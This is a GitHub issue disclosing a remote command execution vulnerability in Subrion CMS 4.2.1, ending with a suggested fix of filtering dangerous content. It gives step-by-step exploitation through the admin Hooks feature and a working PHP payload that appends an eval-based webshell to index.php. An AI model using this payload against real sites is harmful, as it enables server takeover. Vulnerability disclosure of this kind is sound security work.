Skip to content

There is a RCE vulnerability #909

@RuntimeBroker

Description

@RuntimeBroker

There is a remote command execution vulnerability

Affected version

  • subrion 4.2.1 lates

login address

http://127.0.0.1/panel

Find PHP info in the System module

image-20231026102809757

Get the absolute path to the website in phpinfo information

_SERVER["DOCUMENT_ROOT"]

Attack

  1. Select the Hooks field in the System module

image-20231026103342460

  1. Edit sitemapGeneration in Hooks and save

    Get absolute path from PHPinfo above

    _SERVER["DOCUMENT_ROOT"]=F:/phpStudy/PHPTutorial/WWW/subrion_cms_4.2.1/

    At this point we can write webshell into the website’s homepage file index.php

    payload

    fputs(fopen('F:/phpStudy/PHPTutorial/WWW/subrion_cms_4.2.1/index.php','a+'),'@eval($_GET[cmd]);');
    

image-20231026104421861

  1. At this point, we can click the Generate Sitemap function to trigger code execution

2023-10-26 104533

image-20231026104834336

The site generation function is to first write a file, and then perform a syntax check on the written PHP code. If the check passes, the code execution will be triggered.

image-20231026111134512

eval($hook['code']);
  1. We are accessing the website homepage file index.php

2023-10-26 105111

Proposed changes

Filter dangerous functions and content in the content before writing the file

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions